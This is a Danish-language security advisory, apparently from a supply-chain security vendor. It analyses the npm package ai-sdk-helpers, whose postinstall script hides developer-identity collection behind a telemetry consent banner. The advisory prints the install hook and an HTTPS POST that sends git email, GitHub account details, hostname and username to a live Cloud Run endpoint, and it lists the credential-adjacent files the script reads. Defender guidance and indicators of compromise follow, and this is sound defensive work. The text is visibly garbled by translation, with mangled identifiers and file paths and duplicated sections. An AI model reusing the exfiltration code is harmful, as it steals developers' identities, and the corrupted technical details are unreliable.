ConsentMask NPM-pakken skjuler indsamling af udvikleridentitet

ConsentMask: En npm-pakke, der bærer et telemetri-samtykkebanner frem for indsamling af udvikleridentitet

TL; DR

En enkelt npm-pakke, ai-sdk-hjælpere, præsenterer sig selv som et produktionsværktøjssæt til Vercel AI SDK, der tilbyder omkostningssporing, udbyderalternativ og streaminghjælpere.

Dens installationsscript åbnes med et poleret oplysningsbanner, der beskriver anonym diagnostik, der lover, at der ikke overføres kildekode, tokens eller legitimationsoplysninger, og respekterer en DO_NOT_TRACK framelding og linkning til en side med telemetripolitikker.

Det samme script læser derefter udviklerens git-identitet, GitHub CLI-konfiguration, maskinens værtsnavn, OS-brugernavn, arbejdsmappe og CI-udbyder.

Disse data sendes som JSON til et Google Cloud Run-slutpunkt, hvilket skaber en tydelig uoverensstemmelse mellem den angivne telemetripolitik og de faktisk indsamlede felter.

Pakken blev udgivet i 22 versioner inden for en enkelt 83-sekunders burst, og installationsskriptet er identisk byte-for-byte på tværs af alle markerede versioner.

Syv ud af de otte versioner, som vores pipeline blev scoret som inkonklusive af ML-klassifikatoren, fordi samtykkebannerets styling lyder som legitim telemetri.

Vi klassificerer ai-sdk-helpers som skadelig baseret på indsamling og eksfiltrering af udvikleridentiteter under installationen.

Sværhedsgrad: høj.

 Installationens anatomi

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

efterinstallation kører automatisk på npm installere, før nogen af ​​pakkens annoncerede kode nogensinde importeres. Scriptet scripts/postinstall.js er der, hvor al installationstidsadfærden findes.

Den åbner med en kommentarblok og en runtime-meddelelse skrevet i registret for et privatlivsbevidst open source-projekt:

>Når du installerer ai-sdk-helpers, kører vi en hurtig miljøkompatibilitetskontrol og rapporterer anonyme diagnosticeringer ... Dataene er fuldstændig anonyme - vi indsamler din platform, nodeversion og en envejshash af dit maskin-id. Der overføres aldrig kildekode, tokens eller legitimationsoplysninger.

Den opretter endda en fungerende frameldingsgate, den første eksekverbare kode i filen:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

At snøre denne port først er det, der får resten til at blive opfattet som konsensuelt: en udvikler, der sætter `D_NOT_TRACK` ser installationen fuldføres lydløst og konkluderer, at pakken overholder konventionen. Den accepterede framelding er reel. Det, den åbner, for alle, der ikke sætter den, er samlingen beskrevet nedenfor - ikke den mere snævre "platform, nodeversion og en envejshash", som meddelelsen navngiver.

Under den port samler scriptet en nyttelast, der går langt ud over den beskrivelse.

  • *Gt identitet.* rløseScmIdentitet()` hoveder `~.gitconfig`,`~.config/git/config`,og det nuværende projekts `.it/config`,analyserer `[ser]` sektion, og returnerer den konfigurerede commit e-mail. Hvis ingen konfigurationsfil giver en e-mail, vender den tilbage til `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,og `EAIL` miljøvariabler. En dokumentstreng over funktionen indrammer læsningen som en måde at "deduplikere installationer på tværs af maskiner ejet af den samme person (f.eks. bærbar computer + CI)" - et erklæret formål, der kræver en stabil identifikator pr. udvikler, hvilket en commit e-mail forsyninger.
  • *GtHub-konto.* rløsGitHubIdentity()` hoveder `~.config/gh/hosts.yml` og `~.config/gh/hosts.yaml` konfigurationsfilen skrevet af GitHub CLI, når en udvikler autentificerer — og regex-udtrækker `u'enøh:` og `eil:` felter. Den fil gemmer også GitHub OAuth-tokenet; scriptets regex er specifikt rettet mod brugernavns- og e-maillinjerne og udtrækker ikke tokenet. Påstanden om, at "ingen tokens ... sendes nogensinde", i afsløringsbanneret er derfor bogstaveligt talt sand for det ene felt, mens de omgivende konto-id'er læses og sendes.
  • *Hst og CI fingeraftryk.* Scriptet indsamler derefter `o.værtsnavn()`,`o.brugerInfo().brugernavn`,Node-versionen, platformen og arkitekturen, `pocess.cwd()`,og en CI-udbyder-etiket, der blev løst ved at kontrollere miljøvariabler for otte udbydere (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite og to generiske CI-flag). Udbyderlisten læses som en oversigt over, hvor scriptet forventes at udføres — interaktive skaller og automatiseret build. pipelineer ens.

Alle disse er grupperet i et enkelt `dagnostikere objekt, med felterne pr. udvikler samlet under et `i`enhed ey og værtsdataene under `rntime` og `cntekst eys, derefter serialiseret og transmitteret:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Svaret kasseres, og alle fejl sluges — en kommentar bemærker, at "telemetri aldrig må ødelægge installationen." Endpoint-værtsnavnet koder en Google Cloud Run-tjeneste i `ereb-vest1` region.

Gabet er historien. Banneret nævner tre kategorier af data — platform, nodeversion, maskinidentifikator-hash. Nyttelasten sender en udviklers rigtige git. commit e-mail, deres GitHub-brugernavn og e-mail, deres maskinværtsnavn og OS-kontonavn, deres projektsti og deres CI-miljø. Felterne, der identificerer et *prson og deres konti* er præcis de felter, som oplysningen udelader.

README-filen forstærker indramningen fra den anden side. Dens "Telemetri"-sektion gentager anonymitetskravet og forbinder ordet `D_NOT_TRACK` o `cnsoledonottrack.com`,den rigtige fællesskabsside, der dokumenterer fravalgskonventionen — låner et anerkendt privatlivsbeskyttelsessystem standard for at få beskeden til at læses som rutinemæssig.

Tidslinje

Dette er et fund i én pakke med en meget kort og tæt udgivelseshistorik. Der er ingen kampagnebue, der strakte sig over flere uger – hele versionsudvalget blev presset med maskinel hastighed.

Hvornår (UTC) Begivenhed
2026-06-03 20:31:20 Første version (0.1.0) udgivet til npm.
2026-06-03 20:31:20 – 20:32:43 Alle 22 versioner (0.1.0 ved 1.4.2) udgivet i en 83-sekunders automatiseret burst.
2026-06-04 Otte versioner markeret af detektionssignaler; manuel analyse bekræfter indsamling og eksfiltrering af identitet på installationstidspunktet. Pakken forblev live på npm på analysetidspunktet.

Det 83 sekunder lange vindue på tværs af 22 semantiske versioner er i sig selv en adfærdsindikator: versionsstigen (`01.0 tommer`01.1 tommer… `14.2 tommer)præsenterer overfladen af ​​et aktivt vedligeholdt projekt med en udgivelseshistorik, produceret i én scriptet kørsel. Installationsscriptet ændres ikke på tværs af denne stige – se nedenfor.

Indikatorer for kompromis

Nyttelasten på installationstidspunktet er identisk på tværs af det publicerede versionsområde.ff` f`sripts/postinstall.js` mellem version `02.1` nd version `14.2` ```returnerer ingen forskelle; adfærden er ét fast fingeraftryk, ikke en udviklende nyttelast.

Netværk

Det 83 sekunder lange vindue på tværs af 22 semantiske versioner er i sig selv en adfærdsindikator: versionsstigen (`01.0 tommer`01.1 tommer… `14.2 tommer)præsenterer overfladen af ​​et aktivt vedligeholdt projekt med en udgivelseshistorik, produceret i én scriptet kørsel. Installationsscriptet ændres ikke på tværs af denne stige – se nedenfor.

Indikatorer for kompromis

Nyttelasten på installationstidspunktet er identisk på tværs af det publicerede versionsområde.ff` f`sripts/postinstall.js` mellem version `02.1` nd version `14.2` ```returnerer ingen forskelle; adfærden er ét fast fingeraftryk, ikke en udviklende nyttelast.

Netværk

Indikator roller
npm-package-logger-228835561205.europe-west1.run.app Eksfiltreringsslutpunkt, der modtager HTTPS POST-anmodninger med JSON-nyttelast. Hostet på Google Cloud Run i europe-west1 område.

Infrastruktur for lokkefugle

Indikator roller
ai-sdk.guide Pakkens hjemmeside og live-websted understøtter forfatteridentiteten "AI SDK Guide".
ai-sdk.guide/telemetry URL til telemetripolitik, der henvises til i meddelelsen om installationstidspunktet.
hello@ai-sdk.guide Forfatterens e-mail er angivet i package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Kildelager deklareret af pakken.

Filer læst under installation

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` post
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI-kommandolinjeøh `esyg`

Adfærdsmæssige signaturer

  • – m`pstilstand ook kalder et bundtet Node-script
  • – fravalgsgate (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_IKKE_SPOR`)præsenteret som en privatlivsfunktion, forud for identitetsindsamling
  • – tbound HTTPS POST af et JSON-objekt, der indeholder git email, GitHub-identitet, værtsnavn, OS-brugernavn, cwd og CI-label
  • – identisk installationsskript på tværs af en hurtigt publiceret versionsstige

 Attribuering og observeret adfærd
Vi tilskriver intet ud over, hvad pakken og registreringsdatabasens metadata registrerer.

Den npm-registreringsansvarlige er kontoen `aielsimon`,med adressen `aiel@vigilance.security`.Registreringsdatabasen angiver den pågældende e-mail som ubekræftet og kontoens kildekontrolidentitet som ubekræftet. `pckage.json`,præsenterer forfatteren separat som “AI SDK Guide”ello@ai-sdk.guide>`”med en hjemmeside for `a-sdk.guide` og et kildearkiv under et `gorganisationen thub.com/ai-sdk-guide`. Udgivelseskontoens e-maildomæne (`vigilance.security`)og forfatteridentiteten i pakken (`a-sdk.guide`)er forskellige domæner.

Den `a-sdk.guide` ite er live og svarer, og `/elementmetri ath løser sig — lokkefugleidentiteten understøttes af en tilgængelig webtilstedeværelse i stedet for et dødt link, hvilket øger troværdigheden af ​​pakkens framing.

**Observeret funktion.** Ved installation læser pakken udvikleridentitets- og kontokonfigurationsfiler, tager fingeraftryk af værts- og CI-miljøet og sender resultatet til et operatørstyret slutpunkt, samtidig med at der vises en meddelelse, der beskriver et mere snævert og anonymiseret datasæt. Vi beskriver denne adfærd; vi påstår ikke et motiv for den. Læsere, der evaluerer pakken – inklusive enhver part, der genkender publiceringsidentiteten – bør overveje den observerbare uoverensstemmelse mellem de angivne og faktiske datastrømme.

Indvirkning, tendenser og vejledning til forsvarere

Hvem er udsat. Enhver, der installerer ai-sdk-hjælpere — direkte eller som en transitiv afhængighed — kører samlingen på den pågældende maskine. Fordi udløseren er efterinstallation, den annoncerede bibliotekskode behøver aldrig at blive importeret for at dataflowet kan finde sted; installationen alene er tilstrækkelig. De miljøer med den højeste værdi er udviklerarbejdsstationer med en konfigureret git-identitet og en autentificeret GitHub CLI, og CI-runners, hvor scriptets CI-udbyderdetektion indikerer, at samlingen forventes at køre inde i build. pipelinesåvel som på bærbare computere.

Hvad den afslører. Ikke applikationshemmeligheder i det generelle tilfælde — nyttelasten centrerer sig om identitetudviklerens commit e-mail, deres GitHub-kontonavn og e-mail, maskin- og kontonavne og projektstien. Det er en forudgåendeciset kort over, hvem der installerede pakken, på hvilken maskine, i hvilket arkiv og under hvilket CI-system. For en organisation ville en håndfuld sådanne poster samlet set opregne, hvilke ingeniører og hvilke byggesystemer der trak afhængigheden – nyttigt som en forløber for mere målrettet opfølgningsaktivitet, selvom denne pakkes egen adfærd stopper ved indsamling og transmission.

Trenden: telemetri som dække. Legitime udviklerværktøjer indsamler anonymiseret installationsdiagnostik, og konventionerne for at gøre det respektfuldt - en offentliggørelsesmeddelelse, en SPOR_IKKE ære, et frameldingsflag, en politik-URL – er velkendte. ai-sdk-hjælpere gengiver alle fire af disse konventioner trofast og bruger dem som indpakning til identitetsindsamling. Tilstedeværelsen af ​​et samtykkebanner, en fungerende framelding eller et link til privatlivspolitikken er ikke bevis på, at en pakke er troværdig; disse kontroller er billige at efterligne. Den eneste pålidelige kontrol er, hvad koden rent faktisk læser, og hvor den rent faktisk sender den hen.

Denne emballage har også en målbar effekt på automatiseret triage. På tværs af versionerne er vores pipeline Gennemgået, blev installationsskriptets kommentarer i letforståeligt sprog, strukturerede feltnavne og konventionelle frameldingsgate scoret som almindelig telemetri: syv ud af otte kom tilbage ufyldestgørende fra ML-klassifikatoren snarere end ondsindet. Signalet, der løser tvetydigheden, findes ikke i teksten – det findes i de specifikke filer, som scriptet åbner (~ / .gitconfig, ~/.config/gh/hosts.yml) og den destination, den sender til. En korrekturlæser, automatiseret eller menneskelig, der læser oplysningerne og stopper der, vil nå frem til den forkerte konklusion; afgørelsen skal komme fra dataflowets fakta.

Vejledning til forsvarere:

  • Installer med scripts deaktiveret som standard — npm install –ignore-scripts, eller sæt ignorer-scripts=sand in .npmrc og kører eksplicit godkendte byggetrin. Dette neutraliserer efterinstallation-udløst opkrævning på tværs af linjen.
  • Behandl ikke frameldingskontroller som tillidssignaler. SPOR_IKKE Et tjek eller et link til "telemetripolitik" fortæller dig intet om de data, et script indsamler, når gaten ikke er indstillet.
  • Læs installationshjælpepakken, før du bruger AI-økosystemhjælperpakker. Vercel AI SDK-området er et hurtigt udviklende mål med høj tillid; efterinstallation der berører ~ / .gitconfig or ~/.config/gh/ er et klart signal uanset hvordan de omkringliggende kommentarer er skrevet.
  • Overvåg udgående HTTPS POST under opbygning. npm installere, især til et nyligt provisioneret cloud-funktionsslutpunkt, er observerbar på netværkslaget og er et stærkt detektionspunkt for CI-miljøer.
  • Hold øje med komprimerede versionsstiger. En pakke, hvis fulde semantiske versionshistorik vises inden for få sekunder med et uændret installationsskript, præsenterer en fremstillet vedligeholdelseshistorik.
sca-tools-software-kompositionsanalyseværktøjer
Prioriter, afhjælp og sørg for dine softwarerisici
Få din gratis konto.
Der kræves ikke noget kreditkort.

Sikr din softwareudvikling og -levering

med Xygeni-produktsuite